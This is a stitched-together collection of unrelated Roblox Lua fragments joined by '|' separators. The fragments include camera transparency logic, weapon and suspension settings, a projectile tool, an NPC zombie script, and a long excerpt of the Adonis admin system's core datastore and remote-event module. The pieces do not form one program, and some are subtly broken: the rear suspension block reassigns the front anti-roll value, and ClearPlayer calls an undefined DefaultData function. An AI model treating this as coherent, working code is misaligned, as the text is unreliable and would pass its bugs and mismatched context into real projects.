if not v11 then
p16:TeardownTransparency();
return;
end;
p16:SetupTransparency(v11);
end;
local u1 = require(script.Parent:WaitForChild("CameraUtils"));
function v1.Update(p18)
local v12 = tick();
local l__CurrentCamera__13 = workspace.CurrentCamera;
if l__CurrentCamera__13 then
local v14 = 0;
if p18.enabled then
local l__magnitude__15 = (l__CurrentCamera__13.Focus.p - l__CurrentCamera__13.CoordinateFrame.p).magnitude;
local v16 = l__magnitude__15 < 2 and 1 - (l__magnitude__15 - 0.5) / 1.5 or 0;
if v16 < 0.5 then
v16 = 0;
end;
if p18.lastTransparency then
local v17 = v16 - p18.lastTransparency;
if not false and v16 < 1 and p18.lastTransparency < 0.95 then
local v18 = 2.8 * (v12 - p18.lastUpdate);
v17 = u1.Clamp(-v18, v18, v17);
end;
v16 = p18.lastTransparency + v17;
else
p18.transparencyDirty = true;
end;
v14 = u1.Clamp(0, 1, u1.Round(v16, 2));
end;
if p18.transparencyDirty or p18.lastTransparency ~= v14 then
for v19, v20 in pairs(p18.cachedParts) do
v19.LocalTransparencyModifier = v14;
end;
p18.transparencyDirty = false;
p18.lastTransparency = v14;
end;
end;
p18.lastUpdate = v12;
end;
return v1;
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 60 -- cooldown for use of the tool again
ZoneModelName = "worst beauty" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
--[[Susupension]]
|
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 9000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FPreCompress = .3 -- Pre-compression adds resting length force
Tune.FExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.FCompressLim = .1 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 9000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RPreCompress = .3 -- Pre-compression adds resting length force
Tune.RExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.RCompressLim = .1 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = true -- Spring Visible
Tune.WsBVisible = true -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Hot pink" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
-- find player's head pos
|
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local head = vCharacter:findFirstChild("Head")
if head == nil then return end
local dir = mouse_pos - head.Position
dir = computeDirection(dir)
local launch = head.Position + 5 * dir
local delta = mouse_pos - launch
local dy = delta.y
local new_delta = Vector3.new(delta.x, 0, delta.z)
delta = new_delta
local dx = delta.magnitude
local unit_delta = delta.unit
-- acceleration due to gravity in RBX units
local g = (-9.81 * 20)
local theta = computeLaunchAngle( dx, dy, g)
local vy = math.sin(theta)
local xz = math.cos(theta)
local vx = unit_delta.x * xz
local vz = unit_delta.z * xz
local missile = Pellet:clone()
missile.Position = launch
missile.Velocity = Vector3.new(vx,vy,vz) * VELOCITY
missile.Bomb.Disabled = false
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = vPlayer
creator_tag.Name = "creator"
creator_tag.Parent = missile
missile.Parent = game.Workspace
missile:SetNetworkOwner(vPlayer)
end
function computeLaunchAngle(dx,dy,grav)
-- arcane
-- http://en.wikipedia.org/wiki/Trajectory_of_a_projectile
local g = math.abs(grav)
local inRoot = (VELOCITY*VELOCITY*VELOCITY*VELOCITY) - (g * ((g*dx*dx) + (2*dy*VELOCITY*VELOCITY)))
if inRoot <= 0 then
return .25 * math.pi
end
local root = math.sqrt(inRoot)
local inATan1 = ((VELOCITY*VELOCITY) + root) / (g*dx)
local inATan2 = ((VELOCITY*VELOCITY) - root) / (g*dx)
local answer1 = math.atan(inATan1)
local answer2 = math.atan(inATan2)
if answer1 < answer2 then return answer1 end
return answer2
end
function computeDirection(vec)
local lenSquared = vec.magnitude * vec.magnitude
local invSqrt = 1 / math.sqrt(lenSquared)
return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
local targetPos = script.Parent.Info:InvokeClient((game.Players:GetPlayerFromCharacter(character)), true) -- humanoid.TargetPoint
fire(targetPos)
wait(.2)
Tool.Enabled = true
end
script.Parent.Activated:connect(onActivated)
|
--edit the below function to execute code when this response is chosen OR this prompt is shown
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
plrData.Money.Gold.Value = plrData.Money.Gold.Value - 100 -- TODO track for dissertation
local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation)
ClassInformationTable:GetClassFolder(player,"Mage").Obtained.Value = true
ClassInformationTable:GetClassFolder(player,"Mage").Glacies.Value = true
end
|
-- << CHATTING >>
|
main.chatting = false
main.userInputService.TextBoxFocused:connect(function()
main.chatting = true
end)
main.userInputService.TextBoxFocusReleased:connect(function()
main.chatting = false
end)
|
--]]
|
function getHumanoid(model)
for _, v in pairs(model:GetChildren()) do
if v:IsA'Humanoid' then
return v
end
end
end
local ai = script.Parent
local human = getHumanoid(ai)
local hroot = ai.HumanoidRootPart
local zspeed = hroot.Velocity.magnitude
local pfs = game:GetService("PathfindingService")
function GetPlayerNames()
local players = game:GetService('Players'):GetChildren()
local name = nil
for _, v in pairs(players) do
if v:IsA'Player' then
name = tostring(v.Name)
end
end
return name
end
spawn(function()
while wait() do
wait(0)
end
end)
function GetPlayersBodyParts(t)
local torso = t
if torso then
local figure = torso.Parent
for _, v in pairs(figure:GetChildren()) do
if v:IsA'Part' then
return v.Name
end
end
else
return "HumanoidRootPart"
end
end
function GetTorso(part)
local chars = game.Workspace:GetChildren()
local torso = nil
for _, v in pairs(chars) do
if v:IsA'Model' and v ~= script.Parent and v.Name == GetPlayerNames() then
local charRoot = v:FindFirstChild'HumanoidRootPart'
if (charRoot.Position - part).magnitude < SearchDistance then
torso = charRoot
end
end
end
return torso
end
for _, zambieparts in pairs(ai:GetChildren()) do
if zambieparts:IsA'Part' then
zambieparts.Touched:connect(function(p)
if p.Parent.Name == GetPlayerNames() and p.Parent.Name ~= ai.Name then -- damage
local enemy = p.Parent
local enemyhuman = getHumanoid(enemy)
enemyhuman:TakeDamage(aiDamage)
end
end)
end
end
|
--------STAGE--------
|
game.Workspace.projection1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.LeftBackground.Value)..""
game.Workspace.projection2.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.RightBackground.Value)..""
|
--// Core
|
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local server = Vargs.Server;
local service = Vargs.Service;
local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings, Deps;
local AddLog, Queue, TrackTask
local function Init(data)
Functions = server.Functions;
Admin = server.Admin;
Anti = server.Anti;
Core = server.Core;
HTTP = server.HTTP;
Logs = server.Logs;
Remote = server.Remote;
Process = server.Process;
Variables = server.Variables;
Settings = server.Settings;
Deps = server.Deps;
AddLog = Logs.AddLog;
Queue = service.Queue;
TrackTask = service.TrackTask;
--// Core variables
Core.Themes = data.Themes or {}
Core.Plugins = data.Plugins or {}
Core.ModuleID = data.ModuleID or 7510592873
Core.LoaderID = data.LoaderID or 7510622625
Core.DebugMode = data.DebugMode or false
Core.Name = server.Functions:GetRandom()
Core.LoadstringObj = Core.GetLoadstring()
Core.Loadstring = require(Core.LoadstringObj)
disableAllGUIs(server.Client.UI);
Core.Init = nil;
AddLog("Script", "Core Module Initialized")
end;
local function RunAfterPlugins(data)
--// RemoteEvent Handling
Core.MakeEvent()
--// Prepare the client loader
--local existingPlayers = service.Players:GetPlayers();
--Core.MakeClient()
local remoteParent = service.ReplicatedStorage;
remoteParent.ChildRemoved:Connect(function(c)
if server.Core.RemoteEvent and not server.Core.FixingEvent and (function() for i,v in pairs(server.Core.RemoteEvent) do if c == v then return true end end end)() then
wait();
server.Core.MakeEvent()
end
end)
--// Load data
Core.DataStore = server.Core.GetDataStore()
if Core.DataStore then
TrackTask("Thread: DSLoadAndHook", function()
pcall(server.Core.LoadData)
end)
end
--// Save all data on server shutdown & set GAME_CLOSING
game:BindToClose(function()
Core.GAME_CLOSING = true;
Core.SaveAllPlayerData();
end);
--// Start API
if service.NetworkServer then
--service.Threads.RunTask("_G API Manager",server.Core.StartAPI)
TrackTask("Thread: API Manager", Core.StartAPI)
end
--// Occasionally save all player data to the datastore to prevent data loss if the server abruptly crashes
service.StartLoop("SaveAllPlayerData", Core.DS_AllPlayerDataSaveInterval, Core.SaveAllPlayerData, true)
Core.RunAfterPlugins = nil;
AddLog("Script", "Core Module RunAfterPlugins Finished");
end
server.Core = {
Init = Init;
RunAfterPlugins = RunAfterPlugins;
DataQueue = {};
DataCache = {};
PlayerData = {};
CrossServerCommands = {};
CrossServer = function(...) return false end;
ExecuteScripts = {};
LastDataSave = 0;
FixingEvent = false;
ScriptCache = {};
Connections = {};
BytecodeCache = {};
LastEventValue = 1;
Variables = {
TimeBans = {};
};
--// Datastore update/queue timers/delays
DS_WriteQueueDelay = 1;
DS_ReadQueueDelay = 0.5;
DS_AllPlayerDataSaveInterval = 30;
DS_AllPlayerDataSaveQueueDelay = 0.5;
--// Used to change/"reset" specific datastore keys
DS_RESET_SALTS = {
SavedSettings = "32K5j4";
SavedTables = "32K5j4";
};
DS_BLACKLIST = {
Trello_Enabled = true;
Trello_Primary = true;
Trello_Secondary = true;
Trello_Token = true;
Trello_AppKey = true;
DataStore = true;
DataStoreKey = true;
DataStoreEnabled = true;
Creators = true;
Permissions = true;
G_API = true;
G_Access = true;
G_Access_Key = true;
G_Access_Perms = true;
Allowed_API_Calls = true;
["Settings.Ranks.Creators.Users"] = true;
["Admin.SpecialLevels"] = true;
OnStartup = true;
OnSpawn = true;
OnJoin = true;
CustomRanks = true;
Ranks = true;
--// Not gonna let malicious stuff set DS_Blacklist to {} or anything!
DS_BLACKLIST = true;
};
--// Prevent certain keys from loading from the DataStore
PlayerDataKeyBlacklist = {
AdminRank = true;
AdminLevel = true;
LastLevelUpdate = true;
};
DisconnectEvent = function()
if Core.RemoteEvent and not Core.FixingEvent then
Core.FixingEvent = true;
for name,event in pairs(Core.RemoteEvent.Events) do
event:Disconnect()
end
pcall(function() service.Delete(Core.RemoteEvent.Object) end)
pcall(function() service.Delete(Core.RemoteEvent.Function) end)
Core.FixingEvent = false;
Core.RemoteEvent = nil;
end
end;
MakeEvent = function()
local remoteParent = service.ReplicatedStorage;
local ran, error = pcall(function()
if server.Running then
local rTable = {};
local event = service.New("RemoteEvent", {Name = Core.Name, Archivable = false}, true, true)
local func = service.New("RemoteFunction", {Name = "__FUNCTION", Parent = event}, true, true)
local secureTriggered = true
local tripDet = math.random()
local function secure(ev, name, parent)
return ev.Changed:Connect(function()
if Core.RemoteEvent == rTable and not secureTriggered then
if ev == func then
func.OnServerInvoke = Process.Remote
end
if ev.Name ~= name then
ev.Name = name
elseif ev.Parent ~= parent then
secureTriggered = true;
Core.DisconnectEvent();
Core.MakeEvent()
end
end
end)
end
Core.DisconnectEvent();
Core.TripDet = tripDet;
rTable.Events = {};
rTable.Object = event;
rTable.Function = func;
rTable.Events.Security = secure(event, event.Name, remoteParent);
rTable.Events.FuncSec = secure(func, func.Name, event);
func.OnServerInvoke = Process.Remote;
rTable.Events.ProcessEvent = service.RbxEvent(event.OnServerEvent, Process.Remote);
Core.RemoteEvent = rTable;
event.Parent = remoteParent;
secureTriggered = false;
AddLog(Logs.Script,{
Text = "Created RemoteEvent";
Desc = "RemoteEvent was successfully created";
})
end
end)
if error then
warn(error)
end
end;
UpdateConnections = function()
if service.NetworkServer then
for i,cli in ipairs(service.NetworkServer:GetChildren()) do
if cli:IsA("NetworkReplicator") then
Core.Connections[cli] = cli:GetPlayer()
end
end
end
end;
UpdateConnection = function(p)
if service.NetworkServer then
for i,cli in ipairs(service.NetworkServer:GetChildren()) do
if cli:IsA("NetworkReplicator") and cli:GetPlayer() == p then
Core.Connections[cli] = p
end
end
end
end;
GetNetworkClient = function(p)
if service.NetworkServer then
for i,cli in ipairs(service.NetworkServer:GetChildren()) do
if cli:IsA("NetworkReplicator") and cli:GetPlayer() == p then
return cli
end
end
end
end;
MakeClient = function(parent)
if not parent and Core.ClientLoader then
local loader = Core.ClientLoader;
loader.Removing = true;
for i,v in pairs(loader.Events) do
v:Disconnect()
end
loader.Object:Destroy();
end;
local depsName = Functions:GetRandom()
local folder = server.Client:Clone()
local acli = server.Deps.ClientMover:Clone();
local client = folder.Client
local parentObj = parent or service.StarterPlayer:FindFirstChildOfClass("StarterPlayerScripts");
local clientLoader = {
Removing = false;
};
Core.MockClientKeys = Core.MockClientKeys or {
Special = depsName;
Module = client;
}
local depsName = Core.MockClientKeys.Special;
local specialVal = service.New("StringValue")
specialVal.Value = Core.Name.."\\"..depsName
specialVal.Name = "Special"
specialVal.Parent = folder
acli.Parent = folder;
acli.Disabled = false;
folder.Archivable = false;
folder.Name = depsName; --"Adonis_Client"
folder.Parent = parentObj;
if not parent then
local oName = folder.Name;
clientLoader.Object = folder;
clientLoader.Events = {}
clientLoader.Events[folder] = folder.Changed:Connect(function()
if Core.ClientLoader == clientLoader and not clientLoader.Removing then
if folder.Name ~= oName then
folder.Name = oName;
elseif folder.Parent ~= parentObj then
clientLoader.Removing = true;
Core.MakeClient();
end
end
end)
local function sec(child)
local oParent = child.Parent;
local oName = child.Name;
clientLoader.Events[child.Changed] = child.Changed:Connect(function(c)
if Core.ClientLoader == clientLoader and not clientLoader.Removing then
if child.Parent ~= oParent or child == specialVal then
Core.MakeClient();
end
end
end)
local nameEvent = child:GetPropertyChangedSignal("Name"):Connect(function()
if Core.ClientLoader == clientLoader and not clientLoader.Removing then
child.Name = oName;
end
end)
clientLoader.Events[nameEvent] = nameEvent;
clientLoader.Events[child.AncestryChanged] = child.AncestryChanged:Connect(function()
if Core.ClientLoader == clientLoader and not clientLoader.Removing then
Core.MakeClient();
end
end)
end;
for i,child in ipairs(folder:GetDescendants()) do
sec(child);
end
folder.DescendantAdded:Connect(function(d)
if Core.ClientLoader == clientLoader and not clientLoader.Removing then
Core.MakeClient();
end
end)
folder.DescendantRemoving:Connect(function(d)
if Core.ClientLoader == clientLoader and not clientLoader.Removing then
Core.MakeClient();
end
end)
Core.ClientLoader = clientLoader;
end
local ok,err = pcall(function()
folder.Parent = parentObj
end)
clientLoader.Removing = false;
AddLog("Script", "Created client");
end;
HookClient = function(p)
local key = tostring(p.UserId)
local keys = Remote.Clients[key]
if keys then
local depsName = Functions:GetRandom()
local eventName = Functions:GetRandom()
local folder = server.Client:Clone()
local acli = server.Deps.ClientMover:Clone();
local client = folder.Client
local parentTo = "PlayerGui" --// Roblox, seriously, please give the server access to PlayerScripts already so I don't need to do this.
local parentObj = p:FindFirstChildOfClass(parentTo) or p:WaitForChild(parentTo, 600);
if not p.Parent then
return false
elseif not parentObj then
p:Kick("\n[CLI-102495] Loading Error \nPlayerGui Missing (Waited 10 Minutes)")
return false
end
local container = service.New("ScreenGui");
container.ResetOnSpawn = false;
container.Enabled = false;
container.Name = "\0";
local specialVal = service.New("StringValue")
specialVal.Value = Core.Name.."\\"..depsName
specialVal.Name = "Special"
specialVal.Parent = folder
keys.Special = depsName
keys.EventName = eventName
keys.Module = client
acli.Parent = folder;
acli.Disabled = false;
folder.Name = "Adonis_Client"
folder.Parent = container;
--// Event only fires AFTER the client is alive and well
local event; event = service.Events.ClientLoaded:Connect(function(plr)
if p == plr and container.Parent == parentObj then
container.Parent = nil --container:Destroy(); -- Destroy update causes an issue with this pretty sure
p.AncestryChanged:Connect(function() -- after/on remove, not on removing...
if p.Parent == nil then
pcall(function() container:Destroy() end) -- Prevent potential memory leak and ensure this gets properly murdered when they leave and it's no longer needed
end
end)
event:Disconnect();
end
end)
local ok,err = pcall(function()
container.Parent = parentObj
end)
if not ok then
p:Kick("\n[CLI-192385] Loading Error \n[HookClient Error: "..tostring(err).."]")
return false
else
return true
end
else
if p and p.Parent then
p:Kick("\n[CLI-5691283] Loading Error \n[HookClient: Keys Missing]")
end
end
end;
LoadClientLoader = function(p)
local loader = Deps.ClientLoader:Clone()
loader.Name = Functions.GetRandom()
loader.Parent = p:WaitForChild("PlayerGui", 60) or p:WaitForChild("Backpack")
loader.Disabled = false
end;
LoadExistingPlayer = function(p)
warn("Loading existing player: ".. tostring(p))
TrackTask("Thread: Setup Existing Player: ".. tostring(p), function()
Process.PlayerAdded(p)
--Core.MakeClient(p:FindFirstChildOfClass("PlayerGui") or p:WaitForChild("PlayerGui", 120))
end)
end;
ExecutePermission = function(scr, code, isLocal)
local fixscr = service.UnWrap(scr)
for _, val in pairs(Core.ExecuteScripts) do
if not isLocal or (isLocal and val.Type == "LocalScript") then
if (service.UnWrap(val.Script) == fixscr or code == val.Code) and (not val.runLimit or (val.runLimit ~= nil and val.Executions <= val.runLimit)) then
val.Executions = val.Executions+1
return {
Source = val.Source;
noCache = val.noCache;
runLimit = val.runLimit;
Executions = val.Executions;
}
end
end
end
end;
GetScript = function(scr,code)
for i,val in pairs(Core.ExecuteScripts) do
if val.Script == scr or code == val.Code then
return val,i
end
end
end;
UnRegisterScript = function(scr)
for i,dat in pairs(Core.ExecuteScripts) do
if dat.Script == scr or dat == scr then
table.remove(Core.ExecuteScripts, i)
return dat
end
end
end;
RegisterScript = function(data)
data.Executions = 0
data.Time = os.time()
data.Type = data.Script.ClassName
data.Wrapped = service.Wrap(data.Script)
data.Wrapped:SetSpecial("Clone",function()
return Core.RegisterScript {
Script = service.UnWrap(data.Script):Clone();
Code = data.Code;
Source = data.Source;
noCache = data.noCache;
runLimit = data.runLimit;
}
end)
for ind,scr in pairs(Core.ExecuteScripts) do
if scr.Script == data.Script then
return scr.Wrapped or scr.Script
end
end
if not data.Code then
data.Code = Functions.GetRandom()
end
table.insert(Core.ExecuteScripts,data)
return data.Wrapped
end;
GetLoadstring = function()
local newLoad = Deps.Loadstring:Clone();
local lbi = server.Shared.FiOne:Clone();
lbi.Parent = newLoad
return newLoad;
end;
Bytecode = function(str)
if Core.BytecodeCache[str] then return Core.BytecodeCache[str] end
local f, buff = Core.Loadstring(str)
Core.BytecodeCache[str] = buff
return buff
end;
NewScript = function(type,source,allowCodes,noCache,runLimit)
local ScriptType
local execCode = Functions.GetRandom()
if type == 'Script' then
ScriptType = Deps.ScriptBase:Clone()
elseif type == 'LocalScript' then
ScriptType = Deps.LocalScriptBase:Clone()
end
if ScriptType then
ScriptType.Name = "[Adonis] ".. type
if allowCodes then
service.New("StringValue", {
Name = "Execute",
Value = execCode,
Parent = ScriptType,
})
end
local wrapped = Core.RegisterScript {
Script = ScriptType;
Code = execCode;
Source = Core.Bytecode(source);
noCache = noCache;
runLimit = runLimit;
}
return wrapped or ScriptType, ScriptType, execCode
end
end;
SavePlayer = function(p,data)
local key = tostring(p.UserId)
Core.PlayerData[key] = data
end;
DefaultPlayerData = function(p)
return {
Donor = {
Cape = {
Image = '0';
Color = 'White';
Material = 'Neon';
};
Enabled = false;
};
Banned = false;
TimeBan = false;
AdminNotes = {};
Keybinds = {};
Aliases = {};
Client = {};
Warnings = {};
AdminPoints = 0;
};
end;
GetPlayer = function(p)
local key = tostring(p.UserId)
if not Core.PlayerData[key] then
local PlayerData = Core.DefaultPlayerData(p)
Core.PlayerData[key] = PlayerData
if Core.DataStore then
local data = Core.GetData(key)
if data and type(data) == "table" then
data.AdminNotes = (data.AdminNotes and Functions.DSKeyNormalize(data.AdminNotes, true)) or {}
data.Warnings = (data.Warnings and Functions.DSKeyNormalize(data.Warnings, true)) or {}
local BLOCKED_SETTINGS = server.Core.PlayerDataKeyBlacklist
for i,v in pairs(data) do
if not BLOCKED_SETTINGS[i] then
PlayerData[i] = v
end
end
end
end
return PlayerData
else
return Core.PlayerData[key]
end
end;
ClearPlayer = function(p)
Core.PlayerData[tostring(p.UserId)] = Core.DefaultData(p);
end;
SavePlayerData = function(p, customData)
local key = tostring(p.UserId);
local pData = customData or Core.PlayerData[key];
if Core.DataStore then
if pData then
local data = service.CloneTable(pData);
data.LastChat = nil
data.AdminRank = nil
data.AdminLevel = nil
data.LastLevelUpdate = nil
data.LastDataSave = nil
data.AdminNotes = Functions.DSKeyNormalize(data.AdminNotes)
data.Warnings = Functions.DSKeyNormalize(data.Warnings)
Core.SetData(key, data)
AddLog(Logs.Script,{
Text = "Saved data for ".. p.Name;
Desc = "Player data was saved to the datastore";
})
pData.LastDataSave = os.time();
end
end
end;
SaveAllPlayerData = function(queueWaitTime)
local TrackTask = service.TrackTask
for key,pdata in pairs(Core.PlayerData) do
local id = tonumber(key);
local player = id and service.Players:GetPlayerByUserId(id);
if player and (not pdata.LastDataSave or os.time() - pdata.LastDataSave >= Core.DS_AllPlayerDataSaveInterval) then
TrackTask(string.format("Save data for %s", player.Name), Core.SavePlayerData, player);
end
end
--[[ --// OLD METHOD (Kept in case this messes anything up)
for i,p in next,service.Players:GetPlayers() do
local pdata = Core.PlayerData[tostring(p.UserId)];
--// Only save player's data if it has not been saved within the last INTERVAL (default 30s)
if pdata and (not pdata.LastDataSave or os.time() - pdata.LastDataSave >= Core.DS_AllPlayerDataSaveInterval) then
service.Queue("SavePlayerData", function()
Core.SavePlayerData(p)
wait(queueWaitTime or Core.DS_AllPlayerDataSaveQueueDelay)
end)
end
end--]]
end;
GetDataStore = function()
local ran,store = pcall(function()
return service.DataStoreService:GetDataStore(string.sub(Settings.DataStore, 1, 50),"Adonis")
end)
-- DataStore studio check.
if ran and store and service.RunService:IsStudio() then
local success, res = pcall(store.GetAsync, store, math.random())
if not success and string.find(res, "403", 1, true) then
return;
end
end
return ran and store
end;
DataStoreEncode = function(key)
if Core.DS_RESET_SALTS[key] then
key = Core.DS_RESET_SALTS[key] .. key
end
return Functions.Base64Encode(Remote.Encrypt(tostring(key), Settings.DataStoreKey))
end;
SaveData = function(...)
return Core.SetData(...)
end;
DS_GetRequestDelay = function(type)
local requestType, budget;
local reqPerMin = 60 + #service.Players:GetPlayers() * 10;
local reqDelay = 60 / reqPerMin;
if type == "Write" then
requestType = Enum.DataStoreRequestType.SetIncrementAsync;
elseif type == "Read" then
requestType = Enum.DataStoreRequestType.GetAsync;
elseif type == "Update" then
requestType = Enum.DataStoreRequestType.UpdateAsync;
end
repeat
budget = service.DataStoreService:GetRequestBudgetForRequestType(requestType);
until budget > 0 and task.wait(1)
return reqDelay + 0.5;
end;
DS_WriteLimiter = function(type, func, ...)
local vararg = table.pack(...)
return Queue("DataStoreWriteData_" .. tostring(type), function()
local gotDelay = Core.DS_GetRequestDelay(type); --// Wait for budget, also return how long we should wait before the next request is allowed to go
func(unpack(vararg, 1, vararg.n))
task.wait(gotDelay)
end, 120, true)
end;
RemoveData = function(key)
local DataStore = Core.DataStore
if DataStore then
local ran2, err2 = Queue("DataStoreWriteData" .. tostring(key), function()
local ran, ret = Core.DS_WriteLimiter("Write", DataStore.RemoveAsync, DataStore, Core.DataStoreEncode(key))
if ran then
Core.DataCache[key] = nil
else
logError("DataStore RemoveAsync Failed: ".. tostring(ret))
end
task.wait(6)
end, 120, true)
if not ran2 then
warn("DataStore RemoveData Failed: ".. tostring(err2))
end
end
end;
SetData = function(key, value, repeatCount)
if repeatCount then
warn("Retrying SetData request for ".. key);
end
local DataStore = Core.DataStore
if DataStore then
if value == nil then
return Core.RemoveData(key)
else
local ran2, err2 = Queue("DataStoreWriteData" .. tostring(key), function()
local ran, ret = Core.DS_WriteLimiter("Write", DataStore.SetAsync, DataStore, Core.DataStoreEncode(key), value)
if ran then
Core.DataCache[key] = value
else
logError("DataStore SetAsync Failed: ".. tostring(ret));
end
task.wait(6)
end, 120, true)
if not ran2 then
logError("DataStore SetData Failed: ".. tostring(err2))
--// Attempt 3 times, with slight delay between if failed
task.wait(1);
if not repeatCount then
return Core.SetData(key, value, 3);
elseif repeatCount > 0 then
return Core.SetData(key, value, repeatCount - 1);
end
end
end
end
end;
UpdateData = function(key, func, repeatCount)
if repeatCount then
warn("Retrying UpdateData request for ".. key);
end
local DataStore = Core.DataStore
if DataStore then
local err = false;
local ran2, err2 = Queue("DataStoreWriteData" .. tostring(key), function()
local ran, ret = Core.DS_WriteLimiter("Update", DataStore.UpdateAsync, DataStore, Core.DataStoreEncode(key), func)
if not ran then
err = ret;
logError("DataStore UpdateAsync Failed: ".. tostring(ret))
return error(ret);
end
wait(6)
end, 120, true) --// 120 timeout, yield until this queued function runs and completes
if not ran2 then
logError("DataStore UpdateData Failed: ".. tostring(err2))
--// Attempt 3 times, with slight delay between if failed
wait(1);
if not repeatCount then
return Core.UpdateData(key, func, 3);
elseif repeatCount > 0 then
return Core.UpdateData(key, func, repeatCount - 1);
end
end
return err
end
end;
GetData = function(key, repeatCount)
if repeatCount then
warn("Retrying GetData request for ".. key);
end
local DataStore = Core.DataStore
if DataStore then
local ran2, err2 = Queue("DataStoreReadData", function()
local ran, ret = pcall(DataStore.GetAsync, DataStore, Core.DataStoreEncode(key))
if ran then
Core.DataCache[key] = ret
return ret
else
logError("DataStore GetAsync Failed: ".. tostring(ret))
if Core.DataCache[key] then
return Core.DataCache[key];
else
error(ret);
end
end
wait(Core.DS_GetRequestDelay("Read"))
end, 120, true)
if not ran2 then
logError("DataStore GetData Failed: ".. tostring(err2))
--// Attempt 3 times, with slight delay between if failed
wait(1);
if not repeatCount then
return Core.GetData(key, 3);
elseif repeatCount > 0 then
return Core.GetData(key, repeatCount - 1);
end
else
return err2;
end
end
end;
IndexPathToTable = function(tableAncestry)
local Blacklist = Core.DS_BLACKLIST
if type(tableAncestry) == "string" and not Blacklist[tableAncestry] then
return server.Settings[tableAncestry], tableAncestry;
elseif type(tableAncestry) == "table" then
local curTable = server;
local curName = "Server";
for i,ind in ipairs(tableAncestry) do
curTable = curTable[ind];
curName = ind;
if not curTable then
--warn(tostring(ind) .." could not be found");
--// Not allowed or table is not found
return nil;
end
end
if curName and type(curName) == 'string' and Blacklist[curName] then
return nil
end
return curTable, curName;
end
return nil
end;
ClearAllData = function()
local tabs = Core.GetData("SavedTables") or {};
for i,v in pairs(tabs) do
if v.TableKey then
Core.RemoveData(v.TableKey);
end
end
Core.SetData("SavedSettings",{});
Core.SetData("SavedTables",{});
Core.CrossServer("LoadData");
end;
GetTableKey = function(indList)
local tabs = Core.GetData("SavedTables") or {};
local realTable,tableName = Core.IndexPathToTable(indList);
local foundTable = nil;
for i,v in pairs(tabs) do
if type(v) == "table" and v.TableName and v.TableName == tableName then
foundTable = v
break;
end
end
if not foundTable then
foundTable = {
TableName = tableName;
TableKey = "SAVEDTABLE_".. tableName;
}
table.insert(tabs, foundTable);
Core.SetData("SavedTables", tabs);
end
if not Core.GetData(foundTable.TableKey) then
Core.SetData(foundTable.TableKey, {});
end
return foundTable.TableKey;
end;
DoSave = function(data)
local type = data.Type
if type == "ClearSettings" then
Core.ClearAllData();
elseif type == "SetSetting" then
local setting = data.Setting
local value = data.Value
Core.UpdateData("SavedSettings", function(settings)
settings[setting] = value
return settings
end)
Core.CrossServer("LoadData", "SavedSettings", {[setting] = value});
elseif type == "TableRemove" then
local key = Core.GetTableKey(data.Table);
local tab = data.Table
local value = data.Value
data.Action = "Remove"
data.Time = os.time()
local CheckMatch = Functions.CheckMatch
Core.UpdateData(key, function(sets)
sets = sets or {}
for i,v in pairs(sets) do
if CheckMatch(tab, v.Table) and CheckMatch(v.Value, value) then
table.remove(sets,i)
end
end
table.insert(sets, data)
return sets
end)
Core.CrossServer("LoadData", "TableUpdate", data);
elseif type == "TableAdd" then
local key = Core.GetTableKey(data.Table);
local tab = data.Table
local value = data.Value
data.Action = "Add"
data.Time = os.time()
local CheckMatch = Functions.CheckMatch
Core.UpdateData(key, function(sets)
sets = sets or {}
for i,v in pairs(sets) do
if CheckMatch(tab, v.Table) and CheckMatch(v.Value, value) then
table.remove(sets, i)
end
end
table.insert(sets, data)
return sets
end)
Core.CrossServer("LoadData", "TableUpdate", data);
end
AddLog(Logs.Script,{
Text = "Saved setting change to datastore";
Desc = "A setting change was issued and saved";
})
end;
LoadData = function(key, data, serverId)
